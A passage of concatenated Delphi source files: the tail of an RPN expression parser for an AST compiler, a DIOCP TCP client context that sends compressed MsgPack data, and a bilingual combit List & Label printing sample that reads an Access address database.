Inc(fRPNExprCount); end else Exit; end; RPNError(reUnnecessaryClosedBracket); end; function TASTEContext<TProc>.RPNPopOperator: TIDExpression; var Op: TOperatorID; begin if fRPNOpCount > 0 then begin Dec(fRPNOpCount); Op := fRPNOArray[fRPNOpCount]; Result := fProcessProc(Self, op); end else Result := nil; end; procedure TASTEContext<TProc>.RPNFinish; var op: TOperatorID; Expr: TIDExpression; begin while fRPNOpCount > 0 do begin Dec(fRPNOpCount); op := fRPNOArray[fRPNOpCount]; if op <> opOpenRound then begin Expr := fProcessProc(Self, op); fRPNEArray[fRPNExprCount] := Expr; if Assigned(Expr) then Inc(fRPNExprCount); if fRPNOpCount > 0 then fRPNLastOp := fRPNOArray[fRPNOpCount - 1] else fRPNLastOp := opNone; fRPNPrevPriority := cOperatorPriorities[fRPNLastOp]; end else RPNError(reUnclosedOpenBracket); end; end; function TASTEContext<TProc>.RPNPushOperator(OpID: TOperatorID): TRPNStatus; var Priority: Integer; Op: TOperatorID; begin if OpID = fRPNLastOp then AbortWork(sDublicateOperationFmt, [OperatorShortName(OpID)], TTextPosition.Empty); fRPNLastOp := OpID; Priority := cOperatorPriorities[OpID]; if cOperatorTypes[OpID] <> opUnarPrefix then begin if (Priority <= fRPNPrevPriority) then begin while fRPNOpCount > 0 do begin Op := fRPNOArray[fRPNOpCount - 1]; if (cOperatorPriorities[Op] >= Priority) and (Op <> opOpenRound) then begin Dec(fRPNOpCount); fRPNEArray[fRPNExprCount] := fProcessProc(Self, Op); Inc(fRPNExprCount); end else Break; end; end; end; fRPNPrevPriority := Priority; fRPNOArray[fRPNOpCount] := OpID; Inc(fRPNOpCount); RPNCheckInputSize; Result := rpOperation; end; function TASTEContext<TProc>.RPNReadExpression(Index: Integer): TIDExpression; begin Result := fRPNEArray[Index]; end; function TASTEContext<TProc>.RPNLastOperator: TOperatorID; begin if fRPNOpCount > 0 then Result := fRPNOArray[fRPNOpCount - 1] else Result := TOperatorID.opNone; end; function TASTEContext<TProc>.RPNPopExpression: TIDExpression; begin Dec(fRPNExprCount); if fRPNExprCount >= 0 then begin Result := fRPNEArray[fRPNExprCount]; if Assigned(Result) then Exit; end; AbortWorkInternal('Empty Expression'); Result := nil; // for prevent compiler warning end; function TASTEContext<TProc>.RPNTryPopExpression: TIDExpression; begin if fRPNExprCount > 0 then begin Dec(fRPNExprCount); Result := fRPNEArray[fRPNExprCount]; end else Result := nil; end; function TASTEContext<TProc>.GetProc: TProc; begin Result := fSContext.fProc; end; procedure TASTEContext<TProc>.Initialize(const SContext: TASTSContext<TProc>; const ProcessProc: TRPNPocessProc); begin SetLength(fRPNOArray, 4); fRPNOArrayLen := 4; SetLength(fRPNEArray, 8); fRPNEArrayLen := 8; fRPNOpCount := 0; fRPNExprCount := 0; fRPNLastOp := opNone; fRPNPrevPriority := 0; fProcessProc := ProcessProc; fSContext := SContext; end; procedure TASTEContext<TProc>.RPNEraiseTopOperator; begin Dec(fRPNOpCount); end; procedure TASTEContext<TProc>.Reset; begin fRPNLastOp := opNone; fRPNPrevPriority := 0; fRPNOpCount := 0; fRPNExprCount := 0; end; function TASTEContext<TProc>.GetExpression: TIDExpression; begin if fRPNExprCount > 0 then Result := fRPNEArray[fRPNExprCount - 1] else Result := nil; end; { TASTSContext } function TASTSContext<TProc>.Add(T: TASTItemClass): TASTItem; begin Result := T.Create(Block); Block.AddChild(Result); end; function TASTSContext<TProc>.Add<T>: T; begin Result := T.Create(Block); Block.AddChild(Result); end; procedure TASTSContext<TProc>.AddItem(const Item: TASTItem); begin fBlock.AddChild(Item) end; constructor TASTSContext<TProc>.Create(const Module: TASTModule; Scope: TScope; Proc: TProc; Block: TASTBlock); begin fModule := Module; fScope := Scope; fProc := Proc; fBlock := Block; end; constructor TASTSContext<TProc>.Create(const Module: TASTModule; Scope: TScope); begin fModule := Module; fScope := Scope; fProc := default(TProc); fBlock := nil; end; function TASTSContext<TProc>.GetIsLoopBody: Boolean; begin Result := Block.IsLoopBody; end; function TASTSContext<TProc>.GetIsTryBlock: Boolean; begin Result := Block.IsTryBlock; end; function TASTSContext<TProc>.MakeChild(Scope: TScope; Block: TASTBlock): TASTSContext<TProc>; begin Result := TASTSContext<TProc>.Create(fModule, Scope, fProc, Block); end; end.
unit UPClientContext; interface uses SysUtils, Classes, Windows, Math, UPMsgPack, diocp_coder_tcpServer; type TUPClientContext = class; TOnContextActionEvent = procedure(const AStream: TStream; const AContext: TUPClientContext) of object; TUPClientContext = class(TIOCPCoderClientContext) private FOnContextAction: TOnContextActionEvent; protected procedure DoCleanUp; override; procedure OnDisconnected; override; procedure OnConnected; override; /// <summary> 接收到一个完整的数据包 </summary> procedure DoContextAction(const ADataObject: TObject); override; public constructor Create; override; destructor Destroy; override; procedure SendMsgPack(const AMsgPack: TUPMsgPack); property OnContextAction: TOnContextActionEvent read FOnContextAction write FOnContextAction; end; implementation uses utils_zipTools; constructor TUPClientContext.Create; begin inherited Create; end; destructor TUPClientContext.Destroy; begin inherited Destroy; end; procedure TUPClientContext.DoCleanUp; begin inherited DoCleanUp; end; procedure TUPClientContext.DoContextAction(const ADataObject: TObject); begin // 此方法被触发时已经由TIOCPCoderClientContext.DoExecuteRequest处理线程同步 if Assigned(FOnContextAction) then FOnContextAction(TMemoryStream(ADataObject), Self); end; procedure TUPClientContext.OnConnected; begin end; procedure TUPClientContext.OnDisconnected; begin end; procedure TUPClientContext.SendMsgPack(const AMsgPack: TUPMsgPack); var vStream, vZipStream: TMemoryStream; begin vStream := TMemoryStream.Create; try AMsgPack.EncodeToStream(vStream); // 打包 vStream.Position := 0; vZipStream := TMemoryStream.Create; try TZipTools.ZipStream(vStream, vZipStream); // 压缩数据 vZipStream.Position := 0; WriteObject(vZipStream); // 推送到客户端 finally FreeAndNil(vZipStream); end; finally FreeAndNil(vStream); end; end; end.
{===================================================================================== Copyright (C) combit GmbH -------------------------------------------------------------------------------------- File : uc_fm.pas Module : custom unicode sample Descr. : D: Dieses Beispiel demonstriert den Druck über eine eigene Druckschleife unter Berücksichtigung internationaler Codepages. US: This example demonstrates the printout using a custom print loop in consideration of international codepages. ======================================================================================} unit UC_FM; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Menus, L28, cmbtll28, ADODB, DB, Registry {$If CompilerVersion >=28} // >=XE7 , System.UITypes {$ENDIF} ; type TForm1 = class(TForm) MainMenu1: TMainMenu; File1: TMenuItem; Exit1: TMenuItem; Edit1: TMenuItem; Label1: TMenuItem; Report1: TMenuItem; Print1: TMenuItem; Label2: TMenuItem; Report2: TMenuItem; DebugCheckBox: TCheckBox; Label6: TLabel; Label5: TLabel; Label4: TLabel; Label3: TLabel; DataSource: TADOTable; LL: TL28_; procedure Exit1Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure DefineCurrentRecord(AsField: boolean); procedure Label1Click(Sender: TObject); procedure Report1Click(Sender: TObject); procedure Label2Click(Sender: TObject); procedure Report2Click(Sender: TObject); procedure DebugCheckBoxClick(Sender: TObject); private workingPath: String; { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); var registry: TRegistry; var regKeyPath: String; var tmp: String; begin // D: Datenbankpfad auslesen // US: Read database path registry := TRegistry.Create(); registry.RootKey := HKEY_CURRENT_USER; regKeyPath := 'Software\combit\cmbtll\'; if registry.KeyExists(regKeyPath) then begin if registry.OpenKeyReadOnly(regKeyPath) then begin tmp := registry.ReadString('LL' + IntToStr(LL.LlGetVersion(LL_VERSION_MAJOR)) + 'SampleDir'); if (tmp[Length(tmp)] = '\') then begin workingPath := tmp + 'Delphi\BDE (Legacy)\Samples\'; end else workingPath := tmp + '\Delphi\BDE (Legacy)\Samples\'; registry.CloseKey(); end; end; registry.Free(); // D: Verzeichnis setzen // US: Set current dir workingPath := GetCurrentDir() + '\'; {D: Lade die Datenbank, fange Fehler ab } {US: Load the database, checks for errors } Try DataSource.Active := false; DataSource.ConnectionString := 'Provider=Microsoft.Jet.OLEDB.4.0;'+ 'Data Source=' + workingPath + 'Address.mdb;' + 'Persist Security Info=False'; DataSource.TableName := 'Persons'; DataSource.Active := true; Except On E:Exception do ShowMessage(Format('D: Beispiel-Datenbank nicht gefunden.'+#13+'US: Test database not found.'+#13#13'%s:''%s''.',[E.ClassName,E.Message])); end; {D: Setzen der Codepage. Die Codepage muss auf dem System installiert sein. Hier japanische Codepage } {US: Setting of the codepage. The codepage must be installed on your system. In this case it is the Japanese codepage } LL.LlSetOption(LL_OPTION_CODEPAGE,932); end; procedure TForm1.DefineCurrentRecord(AsField: boolean); var i: integer; begin {D: Diese Prozedur übergibt den aktuellen Datensatz an List & Label. } { Hier können Sie ansetzen, um ganz andere Datenquellen zu verwenden } {US: This procedure passes the current record to List & Label. Customize} { it in order to pass completely different data } {D: Wiederholung für alle Datensatzfelder } {US: Loop through all fields in the present recordset} For i:= 0 to (DataSource.FieldCount-1) do begin {D: Umsetzung der Datenbank-Feldtypen in List & Label Feldtypen } {US: Transform database field types into List & Label field types} if AsField then LL.LlDefineFieldFromTField(DataSource.Fields[i]) else LL.LlDefineVariableFromTField(DataSource.Fields[i]); end; end; procedure TForm1.Exit1Click(Sender: TObject); begin Close; end; procedure TForm1.Label1Click(Sender: TObject); var FileName: TString; begin FileName := workingPath + 'simple.lbl'; DataSource.First; {D: Dateiauswahldialog. Aufruf ist optional, sonst einfach in FileName den gewünschten Dateinamen übergeben. Wenn nur bestehende Dateien auswählbar sein sollen, muss die Veroderung mit LL_FILE_ALSONEW weggelassen werden {US: Optional call to file selection dialog. Ommit this call and pass the required file as FileName if you don't want the dialog to appear. If only existing files should be selectable, remove the "or"ing with LL_FILE_ALSONEW } if LL.LlSelectFileDlgTitle(handle, 'Choose label file', LL_PROJECT_LABEL or LL_FILE_ALSONEW, FileName) <> LL_ERR_USER_ABORTED then begin {D: Daten definieren} {US: Define data } DefineCurrentRecord(False); {D: Designer mit dem Titel 'Design label' und der gewählten Datei starten } {US: Opens the chosen file in the designer, sets designer title to 'Design label'} LL.LlDefineLayout(handle, 'Design label', LL_PROJECT_LABEL, FileName); end; end; procedure TForm1.Report1Click(Sender: TObject); var FileName: TString; begin FileName := workingPath + 'simple.lst'; DataSource.First; {D: Dateiauswahldialog. Aufruf ist optional, sonst einfach in FileName den gewünschten Dateinamen übergeben. Wenn nur bestehende Dateien auswählbar sein sollen, muss die Veroderung mit LL_FILE_ALSONEW weggelassen werden {US: Optional call to file selection dialog. Ommit this call and pass the required file as FileName if you don't want the dialog to appear. If only existing files should be selectable, remove the "or"ing with LL_FILE_ALSONEW } if LL.LlSelectFileDlgTitle(handle, 'Choose report file', LL_PROJECT_LIST or LL_FILE_ALSONEW, FileName) <> LL_ERR_USER_ABORTED then begin {D: Daten definieren} {US: Define data } DefineCurrentRecord(True); {D: Designer mit dem Titel 'Design report' und der gewählten Datei starten } {US: Opens the chosen file in the designer, sets designer title to 'Design report'} LL.LlDefineLayout(handle, 'Design report', LL_PROJECT_LIST, FileName); end; end; procedure TForm1.Label2Click(Sender: TObject); var FileName: TString; Ret: integer; begin FileName := workingPath + 'simple.lbl'; DataSource.First; {D: Dateiauswahldialog. Aufruf ist optional, sonst einfach in FileName den gewünschten Dateinamen übergeben. {US: Optional call to file selection dialog. Ommit this call and pass the required file as FileName if you don't want the dialog to appear.} if LL.LlSelectFileDlgTitle(handle, 'Choose label file', LL_PROJECT_LABEL, FileName) = LL_ERR_USER_ABORTED then exit; {D: Daten definieren. Die hier übergebenen Daten dienen nur der Syntaxprüfung - die Inhalte brauchen keine Echtdaten zu enthalten {US: Define data. The data passed here is only used for syntax checking and doesn't need to contain real data } DefineCurrentRecord(False); {D: Druckjob starten. Als Druckziel alle Exportformate erlauben. Fortschrittsbox mit Abbruchbutton.} {US: Start print job. Allow all export formats as target. Meter box with cancel button.} Ret:=LL.LlPrintWithBoxStart(LL_PROJECT_LABEL, FileName, LL_PRINT_EXPORT, LL_BOXTYPE_NORMALMETER, handle, 'Printing label...'); {D: Häufigste Ursache für Fehlercode: -23 (Syntax Error).} {US: Most frequent cause for error code: -23 (Sytax Error).} if Ret<>0 then begin ShowMessage('Error during LlPrintWithBoxStart'); exit; end; {D: Druckoptionsdialog. Aufruf ist optional, es können sonst Ausgabeziel und Exportdateiname über LlXSetParameter() gesetzt werden bzw. der Drucker und die Druckoptionen über LlSetPrinterInPrinterFile() vorgegeben werden. {US: Optional call to print options dialog. You may also set the print target format and export file name using LlXSetParameter() or set the printer and print options using LlSetPrinterInPrinterFile()} Ret:=LL.LlPrintOptionsDialog(handle, 'Choose printing options'); if Ret=LL_ERR_USER_ABORTED then begin LL.LlPrintEnd(0); exit; end; {D: Eigentliche Druckschleife; Wiederholung, solange Daten vorhanden} {US: Print loop. Repeat while there is still data to print} while not DataSource.EOF do begin {D: Jetzt Echtdaten für aktuellen Datensatz übergeben} {US: pass data for current record} DefineCurrentRecord(False); {D: Ein Etikett ausdrucken} {US: Print one label} Ret:=LL.LlPrint; while Ret = LL_WRN_REPEAT_DATA do begin Ret:= LL.LlPrint; end; if Ret = LL_ERR_USER_ABORTED then begin LL.LlPrintEnd(0); exit; end; {D: Fortschrittsanzeige aktualisieren} {US: Refresh progress meter} LL.LlPrintSetBoxText('Printing label...',Round(DataSource.RecNo/DataSource.RecordCount*100)); {D: Zum nächsten Datensatz wechseln} {US: Skip to next record} DataSource.Next; end; {D: Druck beenden} {US: Stop printing} LL.LlPrintEnd(0); end; procedure TForm1.Report2Click(Sender: TObject); var FileName: TString; Ret: integer; begin FileName := workingPath + 'simple.lst'; DataSource.First; {D: Dateiauswahldialog. Aufruf ist optional, sonst einfach in FileName den gewünschten Dateinamen übergeben. {US: Optional call to file selection dialog. Ommit this call and pass the required file as FileName if you don't want the dialog to appear. } if LL.LlSelectFileDlgTitle(handle, 'Choose report file', LL_PROJECT_LIST, FileName) = LL_ERR_USER_ABORTED then exit; {D: Daten definieren. Die hier übergebenen Daten dienen nur der Syntaxprüfung - die Inhalte brauchen keine Echtdaten zu enthalten {US: Define data. The data passed here is only used for syntax checking and doesn't need to contain real data } DefineCurrentRecord(True); {D: Druckjob starten. Als Druckziel alle Exportformate erlauben. Fortschrittsbox mit Abbruchbutton.} {US: Start print job. Allow all export formats as target. Meter box with cancel button.} Ret:=LL.LlPrintWithBoxStart(LL_PROJECT_LIST, FileName, LL_PRINT_EXPORT, LL_BOXTYPE_NORMALMETER, handle, 'Printing report...'); {D: Häufigste Ursache für Fehlercode: -23 (Syntax Error).} {US: Most frequent cause for error code: -23 (Sytax Error).} if Ret<>0 then begin ShowMessage('Error during LlPrintWithBoxStart'); exit; end; {D: Druckoptionsdialog. Aufruf ist optional, es können sonst Ausgabeziel und Exportdateiname über LlXSetParameter() gesetzt werden bzw. der Drucker und die Druckoptionen über LlSetPrinterInPrinterFile() vorgegeben werden. {US: Optional call to print options dialog. You may also set the print target format and export file name using LlXSetParameter() or set the printer and print options using LlSetPrinterInPrinterFile()} Ret:=LL.LlPrintOptionsDialog(handle, 'Choose printing options'); if Ret=LL_ERR_USER_ABORTED then begin LL.LlPrintEnd(0); exit; end; {D: Erste Seite initialisieren; auch hier kann schon durch Objekte vor der Tabelle ein Seitenumbruch ausgelöst werden {US: Initialize first page. A page wrap may occur already caused by objects which are printed before the table} while LL.LlPrint = LL_WRN_REPEAT_DATA do; {D: Eigentliche Druckschleife; Wiederholung, solange Daten vorhanden} {US: Print loop. Repeat while there is still data to print} while not DataSource.EOF do begin {D: Jetzt Echtdaten für aktuellen Datensatz übergeben} {US: pass data for current record} DefineCurrentRecord(TRUE); {D: Tabellenzeile ausgeben, auf Rückgabewert prüfen und ggf. Seitenumbruch oder Abbruch auslösen {US: Print table line, check return value and abort printing or wrap pages if neccessary} Ret:=LL.LlPrintFields; if Ret = LL_ERR_USER_ABORTED then begin {D: Benutzerabbruch} {US: User aborted} LL.LlPrintEnd(0); exit; end; {D: Seitenumbruch auslösen, bis Datensatz vollständig gedruckt wurde US: Wrap pages until record was fully printed} while Ret = LL_WRN_REPEAT_DATA do begin LL.LlPrint; Ret:=LL.LlPrintFields; end; {D: Fortschrittsanzeige aktualisieren} {US: Refresh progress meter} LL.LlPrintSetBoxText('Printing report...',Round(DataSource.RecNo/DataSource.RecordCount*100)); DataSource.Next; end; {D: Druck der Tabelle beenden, angehängte Objekte drucken US: Finish printing the table, print linked objects} while LL.LlPrintFieldsEnd = LL_WRN_REPEAT_DATA do; {D: Druck beenden} {US: Stop printing} LL.LlPrintEnd(0); end; procedure TForm1.DebugCheckBoxClick(Sender: TObject); {D: (De)aktiviert Debug-Ausgaben } {US: enables or disables debug output } begin If DebugCheckBox.checked=true then begin LL.DebugMode:=1; MessageDlg('D: DEBWIN muss zur Anzeige von Debugausgaben gestartet werden'+#13 +'US: Start DEBWIN to receive debug messages', mtInformation, [mbOK],0); end else LL.DebugMode:=0; end; end.